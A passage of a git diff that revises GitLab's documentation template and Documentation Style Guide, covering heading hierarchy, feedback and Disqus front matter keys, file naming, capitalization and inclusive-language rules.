+- Be short and descriptive (up to ~50 chars). +- Start from an `h2` (`##`), then go over `h3`, `h4`, `h5`, and `h6` as needed. + Never skip a hierarchy level (like `h2` > `h4`). It breaks the table of + contents and can affect the breadcrumbs. -Larger instruction sets may have subsections covering specific phases of the process. -Where appropriate, provide examples of code or configuration files to better clarify -intended usage. +Bigger tasks can have subsections that explain specific phases of the process. -- Write a step-by-step guide, with no gaps between the steps. -- Include example code or configurations as part of the relevant step. - Use appropriate Markdown to wrap code blocks with - [syntax highlighting](../../user/markdown.md#colored-code-and-syntax-highlighting). -- Start with an h2 (`##`), break complex steps into small steps using - subheadings h3 > h4 > h5 > h6. _Never skip a hierarchy level, such - as h2 > h4_, as it will break the TOC and may affect the breadcrumbs. -- Use short and descriptive headings (up to ~50 chars). You can use one - single heading like `## Configure X` for instructions when the feature - is simple and the document is short. +Include example code or configurations when needed. Use Markdown to wrap code +blocks with [syntax highlighting](../../user/markdown.md#colored-code-and-syntax-highlighting). Example topic: ## Create a teddy bear -Start by writing a sentence or two about _why_ someone would want to perform this task. -It's not always possible, but is a good practice. For example: - -Create a teddy bear when you need something to hug. - -Follow this information with the task steps. +Create a teddy bear when you need something to hug. (Include the reason why you +might do the task.) To create a teddy bear: @@ -142,40 +136,40 @@ To create a teddy bear: 1. Expand **This** and click **This**. 1. Do another step. -After the numbered list, add a sentence with the expected result, if it -is not obvious, and any next steps. For example: - -The teddy bear is now in the kitchen, in the cupboard above the sink. +The teddy bear is now in the kitchen, in the cupboard above the sink. _(This is the result.)_ -You can retrieve the teddy bear and put it on the couch with the other animals. +You can retrieve the teddy bear and put it on the couch with the other animals. _(These are next steps.)_ -Screenshots are not necessary. They are difficult to keep up-to-date and can clutter the page. +Screenshots are not necessary. They are difficult to keep up-to-date and can +clutter the page. <!-- ## Troubleshooting -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. +Include any troubleshooting steps that you can foresee. If you know beforehand +what issues one might have when setting this up, or when something is changed, +or on upgrading, it's important to describe those, too. Think of things that may +go wrong and include them here. This is important to minimize requests for +Support, and to avoid documentation comments with questions that you know +someone might ask. Each scenario can be a third-level heading, for example, `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +If you have none to add when creating a doc, leave this section in place but +commented out to help encourage others to add to it in the future. --> --- Notes: -- (1): Apply the [tier badges](styleguide.md#product-badges) accordingly +- (1): Apply the [tier badges](styleguide.md#product-badges) accordingly. - (2): Apply the correct format for the - [GitLab version that introduces the feature](styleguide.md#gitlab-versions-and-tiers) + [GitLab version that introduces the feature](styleguide.md#gitlab-versions-and-tiers). ``` ## Help and feedback section -The "help and feedback" section (introduced by [!319](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/319)) displayed at the end of each document -can be omitted from the doc by adding a key into the its front matter: +This section ([introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/319) in GitLab 11.4) +is displayed at the end of each document and can be omitted by adding a key into +the front matter: ```yaml --- @@ -183,8 +177,8 @@ feedback: false --- ``` -The default is to leave it there. If you want to omit it from a document, -you must check with a technical writer before doing so. +The default is to leave it there. If you want to omit it from a document, you +must check with a technical writer before doing so. ### Disqus @@ -192,8 +186,8 @@ We also have integrated the docs site with Disqus (introduced by [!151](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/151)), allowing our users to post comments. -To omit only the comments from the feedback section, use the following -key on the front matter: +To omit only the comments from the feedback section, use the following key in +the front matter: ```yaml --- @@ -201,36 +195,42 @@ comments: false --- ``` -We are only hiding comments in main index pages, such as [the main documentation index](../../README.md), since its content is too broad to comment on. Before omitting Disqus, -you must check with a technical writer. +We're hiding comments only in main index pages, such as [the main documentation index](../../README.md), +since its content is too broad to comment on. Before omitting Disqus, you must +check with a technical writer. -Note that once `feedback: false` is added to the front matter, it will automatically omit +Note that after adding `feedback: false` to the front matter, it will omit Disqus, therefore, don't add both keys to the same document. -The click events in the feedback section are tracked with Google Tag Manager. The -conversions can be viewed on Google Analytics by navigating to **Behavior > Events > Top events > docs**. +The click events in the feedback section are tracked with Google Tag Manager. +The conversions can be viewed on Google Analytics by navigating to +**Behavior > Events > Top events > docs**. ## Guidelines for good practices > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36576/) in GitLab 13.2 as GitLab Development documentation. -"Good practice" examples demonstrate encouraged ways of writing code while comparing with examples of practices to avoid. -These examples are labeled as "Bad" or "Good". -In GitLab development guidelines, when presenting the cases, it is recommended -to follow a **first-bad-then-good** strategy. First demonstrate the "Bad" practice (how things _could_ be done, which is often still working code), -and then how things _should_ be done better, using a "Good" example. This is typically an improved example of the same code. +*Good practice* examples demonstrate encouraged ways of writing code while +comparing with examples of practices to avoid. These examples are labeled as +*Bad* or *Good*. In GitLab development guidelines, when presenting the cases, +it's recommended to follow a *first-bad-then-good* strategy. First demonstrate +the *Bad* practice (how things *could* be done, which is often still working +code), and then how things *should* be done better, using a *Good* example. This +is typically an improved example of the same code. Consider the following guidelines when offering examples: -- First, offer the "Bad" example, then the "Good" one. +- First, offer the *Bad* example, and then the *Good* one. - When only one bad case and one good case is given, use the same code block. -- When more than one bad case or one good case is offered, use separated code blocks for each. -With many examples being presented, a clear separation helps the reader to go directly to the good part. -Consider offering an explanation (for example, a comment, a link to a resource, etc.) on why something is bad practice. +- When more than one bad case or one good case is offered, use separated code + blocks for each. With many examples being presented, a clear separation helps + the reader to go directly to the good part. Consider offering an explanation + (for example, a comment, or a link to a resource) on why something is bad + practice. - Better and best cases can be considered part of the good case(s) code block. -In the same code block, precede each with comments: `# Better` and `# Best`. + In the same code block, precede each with comments: `# Better` and `# Best`. NOTE: **Note:** -While the bad-then-good approach is acceptable for the GitLab development guidelines, do not use it -for user documentation. For user documentation, use "Do" and "Don't." For example, see the -[Pajamas Design System](https://design.gitlab.com/content/punctuation/). +Although the bad-then-good approach is acceptable for the GitLab development +guidelines, do not use it for user documentation. For user documentation, use +*Do* and *Don't*. For examples, see the [Pajamas Design System](https://design.gitlab.com/content/punctuation/). diff --git a/doc/development/documentation/styleguide.md b/doc/development/documentation/styleguide.md index c252f6425d0..984c64b9e9e 100644 --- a/doc/development/documentation/styleguide.md +++ b/doc/development/documentation/styleguide.md @@ -1,69 +1,109 @@ --- +stage: none +group: Style Guide +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers description: 'Writing styles, markup, formatting, and other standards for GitLab Documentation.' --- # Documentation Style Guide -This document defines the standards for GitLab's documentation content and files. +This document defines the standards for GitLab's documentation content and +files. For broader information about the documentation, see the [Documentation guidelines](index.md). -For programmatic help adhering to the guidelines, see [Testing](index.md#testing). +For guidelines specific to text in the GitLab interface, see the Pajamas [Content](https://design.gitlab.com/content/error-messages) section. -See the GitLab handbook for further [writing style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) -that apply to all GitLab content, not just documentation. +For information on how to validate styles locally or by using GitLab CI/CD, see [Testing](index.md#testing). -View [a list of recent style guide updates](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style¬[label_name][]=docs%3A%3Afix). +Use this guide for standards on grammar, formatting, word usage, and more. + +You can also view a list of [recent updates to this guide](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=tw-style¬[label_name][]=docs%3A%3Afix). + +If you can't find what you need: + +- View the GitLab Handbook for [writing style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) that apply to all GitLab content. +- Refer to one of the following: + + - [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/). + - [Google Developer Documentation Style Guide](https://developers.google.com/style). + +If you have questions about style, mention `@tw-style` in an issue or merge request, or, if you have access to the GitLab Slack workspace, use `#docs-process`. ## Documentation is the single source of truth (SSOT) ### Why a single source of truth -The documentation of GitLab products and features is the SSOT for all information related to implementation, usage, and troubleshooting. It evolves continuously, in keeping with new products and features, and with improvements for clarity, accuracy, and completeness. +The documentation of GitLab products and features is the SSOT for all +information related to implementation, usage, and troubleshooting. It evolves +continuously, in keeping with new products and features, and with improvements +for clarity, accuracy, and completeness. -This policy prevents information silos, making it easier to find information about GitLab products. +This policy prevents information silos, making it easier to find information +about GitLab products. -It also informs decisions about the kinds of content we include in our documentation. +It also informs decisions about the kinds of content we include in our +documentation. ### All information -Include problem-solving actions that may address rare cases or be considered 'risky', so long as proper context is provided in the form of fully detailed warnings and caveats. This kind of content should be included as it could be helpful to others and, when properly explained, its benefits outweigh the risks. If you think you have found an exception to this rule, contact the Technical Writing team. +Include problem-solving actions that may address rare cases or be considered +*risky*, so long as proper context is provided in the form of fully detailed +warnings and caveats. This kind of content should be included as it could be +helpful to others and, when properly explained, its benefits outweigh the risks. +If you think you have found an exception to this rule, contact the +Technical Writing team. -We will add all troubleshooting information to the documentation, no matter how unlikely a user is to encounter a situation. -For the [Troubleshooting sections](#troubleshooting), people in GitLab Support can merge additions themselves. +We will add all troubleshooting information to the documentation, no matter how +unlikely a user is to encounter a situation. For the [Troubleshooting sections](#troubleshooting), +people in GitLab Support can merge additions themselves. ### All media types -Include any media types/sources if the content is relevant to readers. You can freely include or link presentations, diagrams, videos, and so on; no matter who it was originally composed for, if it is helpful to any of our audiences, we can include it. +Include any media types/sources if the content is relevant to readers. You can +freely include or link presentations, diagrams, videos, and so on; no matter who +it was originally composed for, if it is helpful to any of our audiences, we can +include it. -- If you use an image that has a separate source file (for example, a vector or diagram format), link the image to the source file so that it may be reused or updated by anyone. -- Do not copy and paste content from other sources unless it is a limited quotation with the source cited. Typically it is better to either rephrase relevant information in your own words or link out to the other source. +- If you use an image that has a separate source file (for example, a vector or + diagram format), link the image to the source file so that it may be reused or + updated by anyone. +- Do not copy and paste content from other sources unless it is a limited + quotation with the source cited. Typically it is better to either rephrase + relevant information in your own words or link out to the other source. ### No special types -In the software industry, it is a best practice to organize documentation in different types. For example, [Divio recommends](https://www.divio.com/blog/documentation/): +In the software industry, it is a best practice to organize documentation in +different types. For example, [Divio recommends](https://www.divio.com/blog/documentation/): -1. Tutorials -1. How-to guides -1. Explanation -1. Reference (for example, a glossary) +- Tutorials +- How-to guides +- Explanation +- Reference (for example, a glossary) -At GitLab, we have so many product changes in our monthly releases that we can't afford to continuously update multiple types of information. -If we have multiple types, the information will become outdated. Therefore, we have a [single template](structure.md) for documentation. +At GitLab, we have so many product changes in our monthly releases that we can't +afford to continuously update multiple types of information. If we have multiple +types, the information will become outdated. Therefore, we have a +[single template](structure.md) for documentation. -We currently do not distinguish specific document types, although we are open to reconsidering this policy -once the documentation has reached a future stage of maturity and quality. If you are reading this, then despite our -continuous improvement efforts, that point hasn't been reached. +We currently do not distinguish specific document types, although we are open to +reconsidering this policy after the documentation has reached a future stage of +maturity and quality. If you are reading this, then despite our continuous +improvement efforts, that point hasn't been reached. ### Link instead of summarize -There is a temptation to summarize the information on another page. -This will cause the information to live in two places. -Instead, link to the SSOT and explain why it is important to consume the information. +There is a temptation to summarize the information on another page. This will +cause the information to live in two places. Instead, link to the single source +of truth and explain why it is important to consume the information. ### Organize by topic, not by type -Beyond top-level audience-type folders (for example, `administration`), we organize content by topic, not by type, so it can be located as easily as possible within the single-source-of-truth (SSOT) section for the subject matter. +Beyond top-level audience-type folders (for example, `administration`), we +organize content by topic, not by type, so it can be located as easily as +possible within the single-source-of-truth (SSOT) section for the subject +matter. For example, do not create groupings of similar media types. For example: @@ -71,46 +111,69 @@ For example, do not create groupings of similar media types. For example: - FAQs. - Sets of all articles or videos. -Such grouping of content by type makes -it difficult to browse for the information you need and difficult to maintain up-to-date content. -Instead, organize content by its subject (for example, everything related to CI goes together) -and cross-link between any related content. +Such grouping of content by type makes it difficult to browse for the information +you need and difficult to maintain up-to-date content. Instead, organize content +by its subject (for example, everything related to CI goes together) and +cross-link between any related content. ### Docs-first methodology -We employ a **docs-first methodology** to help ensure the docs remain a complete and trusted resource, and to make communicating about the use of GitLab more efficient. +We employ a *documentation-first methodology* to help ensure the documentation +remains a complete and trusted resource, and to make communicating about the use +of GitLab more efficient. -- If the answer to a question exists in documentation, share the link to the docs instead of rephrasing the information. -- When you encounter new information not available in GitLab’s documentation (for example, when working on a support case or testing a feature), your first step should be to create a merge request (MR) to add this information to the docs. You can then share the MR in order to communicate this information. +- If the answer to a question exists in documentation, share the link to the + documentation instead of rephrasing the information. +- When you encounter new information not available in GitLab’s documentation (for + example, when working on a support case or testing a feature), your first step + should be to create a merge request (MR) to add this information to the + documentation. You can then share the MR in order to communicate this + information. -New information that would be useful toward the future usage or troubleshooting of GitLab should not be written directly in a forum or other messaging system, but added to a docs MR and then referenced, as described above. Note that among any other doc changes, you can either: +New information that would be useful toward the future usage or troubleshooting +of GitLab should not be written directly in a forum or other messaging system, +but added to a documentation MR and then referenced, as described above. Note +that among any other documentation changes, you can either: - Add a [Troubleshooting section](#troubleshooting) to a doc if none exists. -- Un-comment and use the placeholder Troubleshooting section included as part of our [doc template](structure.md#template-for-new-docs), if present. +- Un-comment and use the placeholder Troubleshooting section included as part of + our [documentation template](structure.md#template-for-new-docs), if present. -The more we reflexively add useful information to the docs, the more (and more successfully) the docs will be used to efficiently accomplish tasks and solve problems. +The more we reflexively add useful information to the documentation, the more +(and more successfully) the documentation will be used to efficiently accomplish +tasks and solve problems. -If you have questions when considering, authoring, or editing docs, ask the Technical Writing team on Slack in `#docs` or in GitLab by mentioning the writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages). Otherwise, forge ahead with your best effort. It does not need to be perfect; the team is happy to review and improve upon your content. Please review the [Documentation guidelines](index.md) before you begin your first documentation MR. +If you have questions when considering, authoring, or editing documentation, ask +the Technical Writing team on Slack in `#docs` or in GitLab by mentioning the +writer for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/product-categories/#devops-stages). +Otherwise, forge ahead with your best effort. It does not need to be perfect; +the team is happy to review and improve upon your content. Please review the +[Documentation guidelines](index.md) before you begin your first documentation MR. -Having a knowledge base in any form that is separate from the documentation would be against the docs-first methodology because the content would overlap with the documentation. +Having a knowledge base in any form that is separate from the documentation would +be against the documentation-first methodology because the content would overlap with +the documentation. ## Markdown All GitLab documentation is written using [Markdown](https://en.wikipedia.org/wiki/Markdown). -The [documentation website](https://docs.gitlab.com) uses GitLab Kramdown as its Markdown rendering engine. For a complete Kramdown reference, see the [GitLab Markdown Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/). +The [documentation website](https://docs.gitlab.com) uses GitLab Kramdown as its +Markdown rendering engine. For a complete Kramdown reference, see the +[GitLab Markdown Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/). -The [`gitlab-kramdown`](https://gitlab.com/gitlab-org/gitlab_kramdown) -Ruby gem will support all [GFM markup](../../user/markdown.md) in the future. That is, -all markup supported for display in the GitLab application itself. For now, -use regular Markdown markup, following the rules in the linked style guide. +The [`gitlab-kramdown`](https://gitlab.com/gitlab-org/gitlab_kramdown) Ruby gem +will support all [GFM markup](../../user/markdown.md) in the future. That is, +all markup supported for display in the GitLab application itself. For now, use +regular Markdown markup, following the rules in the linked style guide. -Note that Kramdown-specific markup (for example, `{:.class}`) will not render properly on GitLab instances under [`/help`](index.md#gitlab-help). +Note that Kramdown-specific markup (for example, `{:.class}`) will not render +properly on GitLab instances under [`/help`](index.md#gitlab-help). ### HTML in Markdown -Hard-coded HTML is valid, although it's discouraged from being used while we have `/help`. -HTML is permitted as long as: +Hard-coded HTML is valid, although it's discouraged from being used while we +have `/help`. HTML is permitted as long as: - There's no equivalent markup in Markdown. - Advanced tables are necessary. @@ -120,23 +183,23 @@ HTML is permitted as long as: ### Markdown Rules GitLab ensures that the Markdown used across all documentation is consistent, as -well as easy to review and maintain, by [testing documentation changes](index.md#testing) with -[markdownlint](index.md#markdownlint). This lint test fails when any document has an issue -with Markdown formatting that may cause the page to render incorrectly within GitLab. -It will also fail when a document is using non-standard Markdown (which may render -correctly, but is not the current standard for GitLab documentation). +well as easy to review and maintain, by [testing documentation changes](index.md#testing) +with [markdownlint](index.md#markdownlint). This lint test fails when any +document has an issue with Markdown formatting that may cause the page to render +incorrectly within GitLab. It will also fail when a document is using +non-standard Markdown (which may render correctly, but is not the current +standard for GitLab documentation). #### Markdown rule `MD044/proper-names` (capitalization) -A rule that could cause confusion is `MD044/proper-names`, as it might not be immediately -clear what caused markdownlint to fail, or how to correct the failure. This rule -checks a list of known words, listed in the `.markdownlint.json` file in each project, -to verify proper use of capitalization and backticks. Words in backticks will -be ignored by markdownlint. +A rule that could cause confusion is `MD044/proper-names`, as it might not be +immediately clear what caused markdownlint to fail, or how to correct the +failure. This rule checks a list of known words, listed in the `.markdownlint.json` +file in each project, to verify proper use of capitalization and backticks. +Words in backticks will be ignored by markdownlint. -In general, product names should follow the exact capitalization of the official names -of the products, protocols, and so on. -See [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json) +In general, product names should follow the exact capitalization of the official +names of the products, protocols, and so on. See [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json) for the words tested for proper capitalization in GitLab documentation. Some examples fail if incorrect capitalization is used: @@ -145,60 +208,66 @@ Some examples fail if incorrect capitalization is used: - NGINX (needs all capitals) - runit (needs lowercase `r`) -Additionally, commands, parameters, values, filenames, and so on must be included in backticks. -For example: +Additionally, commands, parameters, values, filenames, and so on must be +included in backticks. For example: - "Change the `needs` keyword in your `.gitlab.yml`..." - - `needs` is a parameter, and `.gitlab.yml` is a file, so both need backticks. Additionally, - `.gitlab.yml` will fail markdownlint without backticks as it does not have capital G or L. + - `needs` is a parameter, and `.gitlab.yml` is a file, so both need backticks. + Additionally, `.gitlab.yml` will fail markdownlint without backticks as it + does not have capital G or L. - "Run `git clone` to clone a Git repository..." - - `git clone` is a command, so it must be lowercase, while Git is the product, so - it must have a capital G. + - `git clone` is a command, so it must be lowercase, while Git is the product, + so it must have a capital G. ## Structure -Because we want documentation to be a SSOT, we should [organize by topic, not by type](#organize-by-topic-not-by-type). +Because we want documentation to be a SSOT, we should [organize by topic, not by +type](#organize-by-topic-not-by-type). ### Folder structure overview The documentation is separated by top-level audience folders [`user`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/user), -[`administration`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/administration), and [`development`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/development) (contributing) folders. +[`administration`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/administration), +and [`development`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/development) +(contributing) folders. -Beyond that, we primarily follow the structure of the GitLab user interface or API. +Beyond that, we primarily follow the structure of the GitLab user interface or +API. -Our goal is to have a clear hierarchical structure with meaningful URLs -like `docs.gitlab.com/user/project/merge_requests/`. With this pattern, -you can immediately tell that you are navigating to user-related documentation -about Project features; specifically about Merge Requests. Our site's paths match +Our goal is to have a clear hierarchical structure with meaningful URLs like +`docs.gitlab.com/user/project/merge_requests/`. With this pattern, you can +immediately tell that you are navigating to user-related documentation about +Project features; specifically about Merge Requests. Our site's paths match those of our repository, so the clear structure also makes documentation easier to update. The table below shows what kind of documentation goes where. -| Directory | What belongs here | -|:----------------------|:---------------------------------------------------------------------------------------------------------------------------------| -| `doc/user/` | User related documentation. Anything that can be done within the GitLab UI goes here, including usage of the `/admin` interface. | +| Directory | What belongs here | +|:----------------------|:----------------------------------------------------------------------------------------------------------------------------------------| +| `doc/user/` | User related documentation. Anything that can be done within the GitLab user interface goes here, including usage of the `/admin` interface. | | `doc/administration/` | Documentation that requires the user to have access to the server where GitLab is installed. The admin settings that can be accessed via GitLab's interface exist under `doc/user/admin_area/`. | -| `doc/api/` | API related documentation. | -| `doc/development/` | Documentation related to the development of GitLab, whether contributing code or docs. Related process and style guides should go here. | -| `doc/legal/` | Legal documents about contributing to GitLab. | -| `doc/install/` | Contains instructions for installing GitLab. | -| `doc/update/` | Contains instructions for updating GitLab. | -| `doc/topics/` | Indexes per topic (`doc/topics/topic-name/index.md`): all resources for that topic. | +| `doc/api/` | API related documentation. | +| `doc/development/` | Documentation related to the development of GitLab, whether contributing code or documentation. Related process and style guides should go here. | +| `doc/legal/` | Legal documents about contributing to GitLab. | +| `doc/install/` | Contains instructions for installing GitLab. | +| `doc/update/` | Contains instructions for updating GitLab. | +| `doc/topics/` | Indexes per topic (`doc/topics/topic-name/index.md`): all resources for that topic. | ### Work with directories and files 1. When you create a new directory, always start with an `index.md` file. - Do not use another file name and **do not** create `README.md` files. -1. **Do not** use special characters and spaces, or capital letters in file names, - directory names, branch names, and anything that generates a path. -1. When creating a new document and it has more than one word in its name, - make sure to use underscores instead of spaces or dashes (`-`). For example, - a proper naming would be `import_projects_from_github.md`. The same rule - applies to images. + Do not use another file name and *do not* create `README.md` files. +1. *Do not* use special characters and spaces, or capital letters in file + names, directory names, branch names, and anything that generates a path. +1. When creating or renaming a file or directory and it has more than one word + in its name, use underscores (`_`) instead of spaces or dashes. For example, + proper naming would be `import_project/import_from_github.md`. This applies + to both image files and Markdown files. 1. For image files, do not exceed 100KB. 1. Do not upload video files to the product repositories. [Link or embed videos](#videos) instead. -1. There are four main directories, `user`, `administration`, `api` and `development`. +1. There are four main directories: `user`, `administration`, `api`, and + `development`. 1. The `doc/user/` directory has five main subdirectories: `project/`, `group/`, `profile/`, `dashboard/` and `admin_area/`. 1. `doc/user/project/` should contain all project related documentation. @@ -216,34 +285,43 @@ The table below shows what kind of documentation goes where. the **Visibility and Access Controls** category should have a document located at `doc/user/admin_area/settings/visibility_and_access_controls.md`. 1. The `doc/topics/` directory holds topic-related technical content. Create - `doc/topics/topic-name/subtopic-name/index.md` when subtopics become necessary. + `doc/topics/topic_name/subtopic_name/index.md` when subtopics become necessary. General user- and admin- related documentation, should be placed accordingly. -1. The directories `/workflow/`, `/university/`, and `/articles/` have - been **deprecated** and the majority their docs have been moved to their correct location - in small iterations. +1. The directories `/workflow/`, `/university/`, and `/articles/` have been + *deprecated* and the majority their documentation has been moved to their + correct location in small iterations. -If you are unsure where a document or a content addition should live, this should +If you are unsure where to place a document or a content addition, this should not stop you from authoring and contributing. You can use your best judgment and -then ask the reviewer of your MR to confirm your decision, and/or ask a technical writer -at any stage in the process. The technical writing team will review all documentation -changes, regardless, and can move content if there is a better place for it. +then ask the reviewer of your MR to confirm your decision, and/or ask a +technical writer at any stage in the process. The technical writing team will +review all documentation changes, regardless, and can move content if there is a +better place for it. ### Avoid duplication -Do not include the same information in multiple places. [Link to a SSOT instead.](#link-instead-of-summarize) +Do not include the same information in multiple places. +[Link to a single source of truth instead.](#link-instead-of-summarize) ### References across documents -- Give each folder an index.md page that introduces the topic, introduces the pages within, and links to the pages within (including to the index pages of any next-level subpaths). -- To ensure discoverability, ensure each new or renamed doc is linked from its higher-level index page and other related pages. -- When making reference to other GitLab products and features, link to their respective docs, at least on first mention. -- When making reference to third-party products or technologies, link out to their external sites, documentation, and resources. +- Give each folder an `index.md` page that introduces the topic, introduces the + pages within, and links to the pages within (including to the index pages of + any next-level subpaths). +- To ensure discoverability, ensure each new or renamed doc is linked from its + higher-level index page and other related pages. +- When making reference to other GitLab products and features, link to their + respective documentation, at least on first mention. +- When making reference to third-party products or technologies, link out to + their external sites, documentation, and resources. ### Structure within documents -- Include any and all applicable subsections as described on the [structure and template](structure.md) page. -- Structure content in alphabetical order in tables, lists, and so on, unless there is - a logical reason not to (for example, when mirroring the UI or an otherwise ordered sequence). +- Include any and all applicable subsections as described on the + [structure and template](structure.md) page. +- Structure content in alphabetical order in tables, lists, and so on, unless + there's a logical reason not to (for example, when mirroring the user + interface or an otherwise ordered sequence). ## Language @@ -255,9 +333,9 @@ GitLab documentation should be clear and easy to understand. ### Point of view -In most cases, it’s appropriate to use the second-person (you, yours) point of view, -because it’s friendly and easy to understand. -(Tested in [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).) +In most cases, it’s appropriate to use the second-person (you, yours) point of +view, because it’s friendly and easy to understand. (Tested in +[`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).) <!-- How do we harmonize the second person in Pajamas with our first person plural in our doc guide? --> @@ -272,16 +350,18 @@ Use sentence case. For example: #### UI text -When referring to specific user interface text, like a button label or menu item, use the same capitalization that is displayed in the UI. -Standards for this content are listed in the [Pajamas Design System Content section](https://design.gitlab.com/content/punctuation/) and typically -match what is called for in this Documentation Style Guide. +When referring to specific user interface text, like a button label or menu +item, use the same capitalization that is displayed in the user interface. +Standards for this content are listed in the [Pajamas Design System Content section](https://design.gitlab.com/content/punctuation/) +and typically match what is called for in this Documentation Style Guide. -If you think there is a mistake in the way the UI text is styled, -create an issue or an MR to propose a change to the UI text. +If you think there is a mistake in the way the user interface text is styled, +create an issue or an MR to propose a change to the user interface text. #### Feature names -- **Feature names are typically lowercase**, like those describing actions and types of objects in GitLab. For example: +- *Feature names are typically lowercase*, like those describing actions and + types of objects in GitLab. For example: - epics - issues - issue weights @@ -289,7 +369,9 @@ create an issue or an MR to propose a change to the UI text. - milestones - reorder issues - runner, runners, shared runners -- **Some features are capitalized**, typically nouns naming GitLab-specific capabilities or tools. For example: + - a to-do, to-dos +- *Some features are capitalized*, typically nouns naming GitLab-specific + capabilities or tools. For example: - GitLab CI/CD - Repository Mirroring - Value Stream Analytics @@ -298,48 +380,67 @@ create an issue or an MR to propose a change to the UI text. - Geo - GitLab Runner (see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/233529) for details) -Document any exceptions in this style guide. If you're not sure, ask a GitLab Technical Writer so that they can help decide and document the result. +Document any exceptions in this style guide. If you're not sure, ask a GitLab +Technical Writer so that they can help decide and document the result. -Do not match the capitalization of terms or phrases on the [Features page](https://about.gitlab.com/features/) or [features.yml](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/features.yml) by default. +Do not match the capitalization of terms or phrases on the [Features page](https://about.gitlab.com/features/) +or [features.yml](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/features.yml) +by default. #### Other terms Capitalize names of: -- GitLab [product tiers](https://about.gitlab.com/pricing/). For example, GitLab Core - and GitLab Ultimate. (Tested in [`BadgeCapitalization.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/BadgeCapitalization.yml).) -- Third-party organizations, software, and products. For example, Prometheus, Kubernetes, Git, and The Linux Foundation. -- Methods or methodologies. For example, Continuous Integration, Continuous Deployment, Scrum, and Agile. (Tested in [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json).) +- GitLab [product tiers](https://about.gitlab.com/pricing/). For example, + GitLab Core and GitLab Ultimate. (Tested in [`BadgeCapitalization.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/BadgeCapitalization.yml).) +- Third-party organizations, software, and products. For example, Prometheus, + Kubernetes, Git, and The Linux Foundation. +- Methods or methodologies. For example, Continuous Integration, + Continuous Deployment, Scrum, and Agile. (Tested in [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json).) + +Follow the capitalization style listed at the [authoritative source](#links-to-external-documentation) +for the entity, which may use non-standard case styles. For example: GitLab and +npm. -Follow the capitalization style listed at the [authoritative source](#links-to-external-documentation) for the entity, which may use non-standard case styles. For example: GitLab and npm. +Use forms of *sign in*, instead of *log in* or *login*. For example: + +- Sign in to GitLab. +- Open the sign-in page. + +Exceptions to this rule include the concept of *single sign-on* and +references to user interface elements. For example: + +- To sign in to product X, enter your credentials, and then click **Log in**. ### Inclusive language -We strive to create documentation that is inclusive. This section includes guidance and examples in the -following categories: +We strive to create documentation that is inclusive. This section includes +guidance and examples in the following categories: - [Gender-specific wording](#avoid-gender-specific-wording). - [Ableist language](#avoid-ableist-language). - [Cultural sensitivity](#culturally-sensitive-language). -We write our developer documentation with inclusivity and diversity in mind. This page is not an exhaustive reference, but describes some general guidelines and examples that illustrate some best practices to follow. +We write our developer documentation with inclusivity and diversity in mind. This +page is not an exhaustive reference, but describes some general guidelines and +examples that illustrate some best practices to follow. #### Avoid gender-specific wording When possible, use gender-neutral pronouns. For example, you can use a singular -[they](https://developers.google.com/style/pronouns#gender-neutral-pronouns) as a gender-neutral -pronoun. +[they](https://developers.google.com/style/pronouns#gender-neutral-pronouns) as +a gender-neutral pronoun. Avoid the use of gender-specific pronouns, unless referring to a specific person. -| Use | Avoid | -|-----------------------------------|-----------------| -| People, humanity | Mankind | -| GitLab Team Members | Manpower | +| Use | Avoid | +|-----------------------------------|---------------------------------| +| People, humanity | Mankind | +| GitLab Team Members | Manpower | | You can install; They can install | He can install; She can install | -If you need to set up [Fake user information](#fake-user-information), use diverse or non-gendered -names with common surnames. +If you need to set up [Fake user information](#fake-user-information), use +diverse or non-gendered names with common surnames. #### Avoid ableist language @@ -354,11 +455,14 @@ Avoid terms that are also used in negative stereotypes for different groups. | Active/Inactive | Enabled/Disabled | | On/Off | Enabled/Disabled | -Credit: [Avoid ableist language](https://developers.google.com/style/inclusive-documentation#ableist-language) in the Google Developer Style Guide. +Credit: [Avoid ableist language](https://developers.google.com/style/inclusive-documentation#ableist-language) +in the Google Developer Style Guide. #### Culturally sensitive language -Avoid terms that reflect negative cultural stereotypes and history. In most cases, you can replace terms such as `master` and `slave` with terms that are 